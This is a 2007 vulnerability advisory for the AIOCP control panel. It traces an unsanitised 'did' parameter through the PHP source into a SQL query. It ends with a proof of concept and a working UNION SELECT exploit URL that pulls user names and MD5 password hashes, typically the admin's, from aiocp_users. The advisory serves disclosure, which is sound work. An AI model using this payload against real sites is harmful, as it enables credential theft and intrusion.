AIOCP SQL Injection Vulnerability
[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@xxxxxxxxx
[i] Date: 9.1.2007
[i] Spec: Parameter 'did' is not checked before it's used in a SQL Query so you
are able to inject some evil SQL code
Example shows how to retrieve admin MD5 Hash Password
[i] Other infos: This works with magic_quotes_gpc = Off
If aiocp_downloads database is empty this 'll not work!
[i] Workaround: Edit source code to properly check 'did' parameter
No official patch is yet available
[Analysis]
[Step 1] File: AIOCP/public/code/cp_downloads.php
32 if (isset($_REQUEST['did'])) {
33 //display single news
34 F_display_single_download($_REQUEST['did']);
35 }
Now check F_display_single_download() function...
[Step 2] File: AIOCP/shared/code/cp_functions_downloads.php
680 function F_display_single_download($did) {
681 global $l, $db, $selected_language, $aiocp_dp;
682
683 require_once('../../shared/config/cp_extension.inc');
684 require_once('../config/cp_config.'.CP_EXT);
685
686 if(F_count_rows(K_TABLE_NEWS)) { //if the table is void (no
items) display message
687 echo "<h2>".$l['m_databasempty']."</h2>";
688 }
689 else { //the table is not empty
690 $wherequery = "WHERE download_id='".$did."'";
691 F_show_fixed_downloads("", 1, $did, 0, $wherequery, "",
"", 0, K_MAX_ROWS_PER_PAGE);
692 }
693 }
We notice that $did is passed into $wherequery but it isn't checked... now look
F_show_fixed_downloads()
[Step 3] File AIOCP/shared/code/cp_functions_downloads.php
698 function F_show_fixed_downloads($download_category, $viewmode,
$selecteddownload, $downloaded, $wherequery,
$order_field, $orderdir, $firstrow, $rowsperpage) {
699 global $l, $db, $selected_language, $aiocp_dp;
700 require_once('../../shared/config/cp_extension.inc');
701 require_once('../config/cp_config.'.CP_EXT);
702 ?>
[...]
716 <!-- SHOW downloads ==================== -->
717 <?php
718 F_show_downloads($download_category, $viewmode, $selecteddownload,
$downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage);
719 ?>
Here $wherequery isn't checked so it's finally passed to "master" function...
let's see what happens..
[Step 4] File AIOCP/shared/code/cp_functions_downloads.php
28 function F_show_downloads($download_category, $viewmode,
$selecteddownload, $downloaded, $wherequery, $order_field, $orderdir,
$firstrow, $rowsperpage) {
29 global $l, $db, $selected_language;
30 global $term, $submitted, $downloadssearch, $addterms;
31
32 require_once('../../shared/config/cp_extension.inc');
33 require_once('../config/cp_config.'.CP_EXT);
34 require_once('../../shared/code/cp_functions_page.'.CP_EXT);
35
require_once('../../shared/code/cp_functions_dynamic_pages.'.CP_EXT);
36 require_once('../../shared/code/cp_functions_form.'.CP_EXT);
[...]
60 if (isset($download_category) AND
(strlen($download_category)>0) AND ($download_category==0)) { //select all
categories
61 $wherequery = "WHERE 1"; [A]
62 }
[...]
64 if( (!$download_category) AND (!$wherequery) ) { // select
category [B]
[...]
76 if($download_category) { [C]
106 if (!$wherequery) { [D]
107 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ORDER BY
".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
108 }
109 else { [E]
110 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS."
".$wherequery." ORDER BY ".$full_order_field." LIMIT
".$firstrow.",".$rowsperpage."";
111 }
Well let's analyze this few cases...
[A] Well we have not $download_category definied so this 'll not be executed
[B] We have definied $wherequery
[C] Same as point A
[D] Same as point B
[E] This is it!
$wherequery is used in the SQL query without any check... so we can inject
some evil SQL code...
[POC]
http://www.example.org/AIOCP/public/code/cp_downloads.php?did=[sql]
[Exploit Example]
http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous
This 'll show user ID, Name and MD5 Hash Password of the first user after
'Anonymous' user (usually the admin user)